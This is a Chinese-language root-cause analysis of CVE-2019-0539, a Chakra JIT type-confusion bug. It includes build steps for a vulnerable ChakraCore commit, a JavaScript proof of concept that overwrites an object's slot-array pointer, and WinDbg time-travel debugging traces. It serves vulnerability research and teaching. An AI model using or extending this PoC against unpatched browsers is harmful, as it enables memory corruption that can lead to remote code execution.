Microsoft Edge Chakra JIT型別混淆漏洞分析(CVE-2019-0539)
一、概述
在 2019年1月的微軟月度更新 中,修復了CVE-2019-0539漏洞。該漏洞與另外2個漏洞均是由Google Project Zero的Lokihardt 發現並報告 。該漏洞可以在使用者訪問惡意網頁時導致遠端程式碼執行。正如Lokihardt所描述的,當Chakra JIT(Just-in-time)JavaScript編譯器生成的程式碼執行物件的型別轉換,並且錯誤的假設後續對該物件不存在副作用時,會發生這種型別的混淆問題。Chakra開發團隊的Abhijith Chatra在其部落格中描述,動態型別物件具有一個屬性對映(Property Map)和一個插槽陣列(Slot Array)。其中,屬性對映用於獲得插槽陣列中物件屬性的索引,插槽陣列用於儲存屬性的實際資料。而CVE-2019-0539這一漏洞將導致JIT程式碼混淆記憶體中的物件,這將會導致插槽陣列指標被任意資料覆蓋。
二、建立漏洞環境
在Windows中,建立存在漏洞版本的 ChakraCore :
(在Visual Studio MSBuild命令提示符中)
c:\code>git clone https://github.com/Microsoft/ChakraCore.git c:\code>cd ChakraCore c:\code\ChakraCore>git checkout 331aa3931ab69ca2bd64f7e020165e693b8030b5 c:\code\ChakraCore>msbuild /m /p:Platform=x64 /p:Configuration=Debug Build\Chakra.Core.sln
三、時間旅行除錯(TTD)
在這裡,我們使用“時間旅行除錯”(Time Travel Debugging, TTD)工具。關於TTD,微軟給出的描述如下:
Time Travel Debugging是一個能夠記錄使用者正在執行程序的工具,將會記錄程序的全部執行過程,並支援向前和向後的重放。時間旅行除錯(TTD)可以讓我們“回放”偵錯程式會話,不必再重現問題,從而能幫助我們更加輕鬆地除錯問題。
我們從Microsoft Store安裝最新版本的WinDBG,需要以管理員許可權執行。
四、根本原因分析
PoC:
function opt(o, c, value) { o.b = 1; class A extends c { // may transition the object } o.a = value; // overwrite slot array pointer } function main() { for (let i = 0; i < 2000; i++) { let o = {a: 1, b: 2}; opt(o, (function () {}), {}); } let o = {a: 1, b: 2}; let cons = function () {}; cons.prototype = o; // causes "class A extends c" to transition the object type opt(o, cons, 0x1234); print(o.a); // access the slot array pointer resulting in a crash } main();
使用 TTD執行偵錯程式 ,直至其發生崩潰,然後執行以下命令:
0:005> !tt 0 Setting position to the beginning of the trace Setting position: 14:0 (1e8c.4bc8): Break instruction exception - code 80000003 (first/second chance not available) Time Travel Position: 14:0 ntdll!LdrInitializeThunk: 00007fff`03625640 4053pushrbx 0:000> g ModLoad: 00007fff`007e0000 00007fff`0087e000C:\Windows\System32\sechost.dll ModLoad: 00007fff`00f40000 00007fff`00fe3000C:\Windows\System32\advapi32.dll ModLoad: 00007ffe`ffde0000 00007ffe`ffe00000C:\Windows\System32\win32u.dll ModLoad: 00007fff`00930000 00007fff`00ac7000C:\Windows\System32\USER32.dll ModLoad: 00007ffe`ff940000 00007ffe`ffada000C:\Windows\System32\gdi32full.dll ModLoad: 00007fff`02e10000 00007fff`02e39000C:\Windows\System32\GDI32.dll ModLoad: 00007fff`03420000 00007fff`03575000C:\Windows\System32\ole32.dll ModLoad: 00007ffe`ffdb0000 00007ffe`ffdd6000C:\Windows\System32\bcrypt.dll ModLoad: 00007ffe`e7c20000 00007ffe`e7e0d000C:\Windows\SYSTEM32\dbghelp.dll ModLoad: 00007ffe`e7bf0000 00007ffe`e7c1a000C:\Windows\SYSTEM32\dbgcore.DLL ModLoad: 00007ffe`9bf10000 00007ffe`9dd05000c:\pp\ChakraCore\Build\VcBuild\bin\x64_debug\chakracore.dll ModLoad: 00007fff`011c0000 00007fff`011ee000C:\Windows\System32\IMM32.DLL ModLoad: 00007ffe`ff5b0000 00007ffe`ff5c1000C:\Windows\System32\kernel.appcore.dll ModLoad: 00007ffe`f0f80000 00007ffe`f0fdc000C:\Windows\SYSTEM32\Bcp47Langs.dll ModLoad: 00007ffe`f0f50000 00007ffe`f0f7a000C:\Windows\SYSTEM32\bcp47mrm.dll ModLoad: 00007ffe`f0fe0000 00007ffe`f115b000C:\Windows\SYSTEM32\windows.globalization.dll ModLoad: 00007ffe`ff010000 00007ffe`ff01c000C:\Windows\SYSTEM32\CRYPTBASE.DLL (1e8c.20b8): Access violation - code c0000005 (first/second chance not available) First chance exceptions are reported before any exception handling. This exception may be expected and handled. Time Travel Position: 90063:0 chakracore!Js::DynamicTypeHandler::GetSlot+0x149: 00007ffe`9cd1ec79 488b04c1movrax,qword ptr [rcx+rax*8] ds:00010000`00001234=???????????????? 0:004> ub chakracore!Js::DynamicTypeHandler::GetSlot+0x12d [c:\pp\chakracore\lib\runtime\types\typehandler.cpp @ 96]: 00007ffe`9cd1ec5d 488b442450movrax,qword ptr [rsp+50h] 00007ffe`9cd1ec62 0fb74012movzxeax,word ptr [rax+12h] 00007ffe`9cd1ec66 8b4c2460movecx,dword ptr [rsp+60h] 00007ffe`9cd1ec6a 2bc8subecx,eax 00007ffe`9cd1ec6c 8bc1moveax,ecx 00007ffe`9cd1ec6e 4898cdqe 00007ffe`9cd1ec70 488b4c2458movrcx,qword ptr [rsp+58h] // object pointer 00007ffe`9cd1ec75 488b4910movrcx,qword ptr [rcx+10h] // slot array pointer 0:004> ba w 8 poi(@rsp+58)+10 0:004> g- Breakpoint 1 hit Time Travel Position: 9001D:178A 00000195`cc9c0159 488bc7movrax,rdi
下面是最終覆蓋指向插槽陣列(Slot Array)指標的JIT程式碼。在這裡,注意對chakracore!Js::JavascriptOperators::OP_InitClass的呼叫。正如Lokihardt所解釋的那樣,這個函式最終將呼叫SetIsPrototype,它將負責轉換物件型別。
0:004> ub @rip L20 00000195`cc9c00c6 efoutdx,eax 00000195`cc9c00c7 0000addbyte ptr [rax],al 00000195`cc9c00c9 004c0f45addbyte ptr [rdi+rcx+45h],cl 00000195`cc9c00cd f249895e18repne mov qword ptr [r14+18h],rbx 00000195`cc9c00d2 4c8bc7movr8,rdi 00000195`cc9c00d5 498bcfmovrcx,r15 00000195`cc9c00d8 48baf85139ca95010000 mov rdx,195CA3951F8h 00000195`cc9c00e2 48b8d040a39cfe7f0000 mov rax,offset chakracore!Js::ScriptFunction::OP_NewScFuncHomeObj (00007ffe`9ca340d0) 00000195`cc9c00ec 48ffd0callrax 00000195`cc9c00ef 488bd8movrbx,rax 00000195`cc9c00f2 498bd5movrdx,r13 00000195`cc9c00f5 488bcbmovrcx,rbx 00000195`cc9c00f8 c60601movbyte ptr [rsi],1 00000195`cc9c00fb 49b83058e8c995010000 mov r8,195C9E85830h 00000195`cc9c0105 48b88041679cfe7f0000 mov rax,offset chakracore!Js::JavascriptOperators::OP_InitClass (00007ffe`9c674180) // transitions the type of the object 00000195`cc9c010f 48ffd0callrax 00000195`cc9c0112 803e01cmpbyte ptr [rsi],1 00000195`cc9c0115 0f85dc000000jne00000195`cc9c01f7 00000195`cc9c011b 488bc3movrax,rbx 00000195`cc9c011e 48c1e830shrrax,30h 00000195`cc9c0122 0f85eb000000jne00000195`cc9c0213 00000195`cc9c0128 4c8b6b08movr13,qword ptr [rbx+8] 00000195`cc9c012c 498bc5movrax,r13 00000195`cc9c012f 48c1e806shrrax,6 00000195`cc9c0133 4883e007andrax,7 00000195`cc9c0137 48b9b866ebc995010000 mov rcx,195C9EB66B8h 00000195`cc9c0141 33d2xoredx,edx 00000195`cc9c0143 4c3b2cc1cmpr13,qword ptr [rcx+rax*8] 00000195`cc9c0147 0f85e2000000jne00000195`cc9c022f 00000195`cc9c014d 480f45dacmovnerbx,rdx 00000195`cc9c0151 488b4310movrax,qword ptr [rbx+10h] 00000195`cc9c0155 4d896610movqword ptr [r14+10h],r12 // trigger of CVE-2019-0539. Overridden slot array pointer
下面是JIT程式碼呼叫OP_InitClass之前的物件的記憶體轉儲。我們需要注意,兩個物件插槽(Slot)是如何在物件的記憶體中內聯的,在這裡並不是儲存在一個單獨的插槽陣列中。
Time Travel Position: 8FE48:C95 chakracore!Js::JavascriptOperators::OP_InitClass: 00007ffe`9c674180 4c89442418movqword ptr [rsp+18h],r8 ss:00000086`971fd710=00000195ca395030 0:004> dps 00000195`cd274440 00000195`cd27444000007ffe`9d6e1790 chakracore!Js::DynamicObject::`vftable' 00000195`cd27444800000195`ca3c1d40 00000195`cd27445000010000`00000001 // inline slot 1 00000195`cd27445800010000`00000001 // inline slot 2 00000195`cd27446000000195`cd274440 00000195`cd27446800010000`00000000 00000195`cd27447000000195`ca3b4030 00000195`cd27447800000000`00000000 00000195`cd27448000000195`cd073ed0 00000195`cd27448800000000`00000000 00000195`cd27449000000000`00000000 00000195`cd27449800000000`00000000 00000195`cd2744a000000195`cd275c00 00000195`cd2744a800010000`00000000 00000195`cd2744b000000195`ca3dc100 00000195`cd2744b800000000`00000000
以下呼叫棧展示了SetIsPrototype最終由OP_InitClass呼叫,從而轉換物件的型別。轉換過程導致兩個插槽(Slot)不再內聯,而是儲存在插槽陣列中。隨後,會通過其餘的JIT程式碼忽略這一轉換。
0:004> kb # RetAddr: Args to Child: Call Site 00 00007ffe`9cd0dace : 00000195`cd274440 00000195`ca3a0000 00000195`00000004 00007ffe`9bf6548b : chakracore!Js::DynamicTypeHandler::AdjustSlots+0x79f [c:\pp\chakracore\lib\runtime\types\typehandler.cpp @ 755] 01 00007ffe`9cd24181 : 00000195`cd274440 00000195`cd264f60 00000195`000000fb 00007ffe`9c200002 : chakracore!Js::DynamicObject::DeoptimizeObjectHeaderInlining+0xae [c:\pp\chakracore\lib\runtime\types\dynamicobject.cpp @ 591] 02 00007ffe`9cd2e393 : 00000195`ca3da0f0 00000195`cd274440 00000195`00000002 00007ffe`9cd35f00 : chakracore!Js::PathTypeHandlerBase::ConvertToSimpleDictionaryType<Js::SimpleDictionaryTypeHandlerBase >+0x1b1 [c:\pp\chakracore\lib\runtime\types\pathtypehandler.cpp @ 1622] 03 00007ffe`9cd40ac2 : 00000195`ca3da0f0 00000195`cd274440 00000000`00000002 00007ffe`9bf9fe00 : chakracore!Js::PathTypeHandlerBase::TryConvertToSimpleDictionaryType<Js::SimpleDictionaryTypeHandlerBase >+0x43 [c:\pp\chakracore\lib\runtime\types\pathtypehandler.cpp @ 1598] 04 00007ffe`9cd3cf81 : 00000195`ca3da0f0 00000195`cd274440 00000195`00000002 00007ffe`9cd0c700 : chakracore!Js::PathTypeHandlerBase::TryConvertToSimpleDictionaryType+0x32 [c:\pp\chakracore\lib\runtime\types\pathtypehandler.h @ 297] 05 00007ffe`9cd10a9f : 00000195`ca3da0f0 00000195`cd274440 00000001`0000001c 00007ffe`9c20c563 : chakracore!Js::PathTypeHandlerBase::SetIsPrototype+0xe1 [c:\pp\chakracore\lib\runtime\types\pathtypehandler.cpp @ 2892] 06 00007ffe`9cd0b7a3 : 00000195`cd274440 00007ffe`9bfa722e 00000195`cd274440 00007ffe`9bfa70a3 : chakracore!Js::DynamicObject::SetIsPrototype+0x23f [c:\pp\chakracore\lib\runtime\types\dynamicobject.cpp @ 680] 07 00007ffe`9cd14b08 : 00000195`cd274440 00007ffe`9c20d013 00000195`cd274440 00000195`00000119 : chakracore!Js::RecyclableObject::SetIsPrototype+0x43 [c:\pp\chakracore\lib\runtime\types\recyclableobject.cpp @ 190] 08 00007ffe`9c6743ea : 00000195`cd275c00 00000195`cd274440 0000018d`00000119 00000195`c9e85830 : chakracore!Js::DynamicObject::SetPrototype+0x18 [c:\pp\chakracore\lib\runtime\types\dynamictype.cpp @ 632] 09 00000195`cc9c0112 : 00000195`cd264f60 00000195`cd273eb0 00000195`c9e85830 00007ffe`9c20c9b3 : chakracore!Js::JavascriptOperators::OP_InitClass+0x26a [c:\pp\chakracore\lib\runtime\language\javascriptoperators.cpp @ 7532] 0a 00007ffe`9cbea0d2 : 00000195`ca3966e0 00000000`10000004 00000195`ca395030 00000195`cd274440 : 0x00000195`cc9c0112
下面是OP_InitClass呼叫後物件的記憶體轉儲。請注意,現在的物件已經經過轉換,並且不再內聯兩個插槽。但是,如上所述,JIT程式碼仍然會假設該插槽是內聯的。
Time Travel Position: 9001D:14FA 00000195`cc9c0112 803e01cmpbyte ptr [rsi],1 ds:0000018d`c8e72018=01 0:004> dps 00000195`cd274440 00000195`cd27444000007ffe`9d6e1790 chakracore!Js::DynamicObject::`vftable' 00000195`cd27444800000195`cd275d40 00000195`cd27445000000195`cd2744c0 // slot array pointer (previously inline slot 1) 00000195`cd27445800000000`00000000 00000195`cd27446000000195`cd274440 00000195`cd27446800010000`00000000 00000195`cd27447000000195`ca3b4030 00000195`cd27447800000195`cd277000 00000195`cd27448000000195`cd073ed0 00000195`cd27448800000195`cd073f60 00000195`cd27449000000195`cd073f90 00000195`cd27449800000000`00000000 00000195`cd2744a000000195`cd275c00 00000195`cd2744a800010000`00000000 00000195`cd2744b000000195`ca3dc100 00000195`cd2744b800000000`00000000 0:004> dps 00000195`cd2744c0 // slot array 00000195`cd2744c000010000`00000001 00000195`cd2744c800010000`00000001 00000195`cd2744d000000000`00000000 00000195`cd2744d800000000`00000000 00000195`cd2744e000000119`00000000 00000195`cd2744e800000000`00000100 00000195`cd2744f000000195`cd074000 00000195`cd2744f800000000`00000000 00000195`cd274500000000c4`00000000 00000195`cd27450800000000`00000102 00000195`cd27451000000195`cd074030 00000195`cd27451800000000`00000000 00000195`cd274520000000fb`00000000 00000195`cd27452800000000`00000102 00000195`cd27453000000195`cd074060 00000195`cd27453800000000`00000000
下面是在JIT程式碼錯誤地分配屬性值之後物件的記憶體轉儲,覆蓋了插槽陣列指標。
0:004> dqs 00000195cd274440 00000195`cd27444000007ffe`9d6e1790 chakracore!Js::DynamicObject::`vftable' 00000195`cd27444800000195`cd275d40 00000195`cd27445000010000`00001234 // overridden slot array pointer (CVE-2019-0539) 00000195`cd27445800000000`00000000 00000195`cd27446000000195`cd274440 00000195`cd27446800010000`00000000 00000195`cd27447000000195`ca3b4030 00000195`cd27447800000195`cd277000 00000195`cd27448000000195`cd073ed0 00000195`cd27448800000195`cd073f60 00000195`cd27449000000195`cd073f90 00000195`cd27449800000000`00000000 00000195`cd2744a000000195`cd275c00 00000195`cd2744a800010000`00000000 00000195`cd2744b000000195`ca3dc100 00000195`cd2744b800000000`00000000
最後,當訪問其中一個物件的屬性時,被覆蓋的插槽陣列指標將被解除引用,從而導致崩潰。
0:004> g (1e8c.20b8): Access violation - code c0000005 (first/second chance not available) First chance exceptions are reported before any exception handling. chakracore!Js::DynamicTypeHandler::GetSlot+0x149: 00007ffe`9cd1ec79 488b04c1movrax,qword ptr [rcx+rax*8] ds:00010000`00001234=????????????????
五、總結
由於我們使用了WinDBG的TTD,所以我們的整個除錯過程都得到了簡化。具體而言,TTD幫助我們設定了斷點,並且能夠逆向執行程式,最後直接導致實際的插槽陣列指標覆蓋。這一功能展示了CPU跟蹤和執行過程重建的重要性,可以用於軟體除錯和逆向工程之中。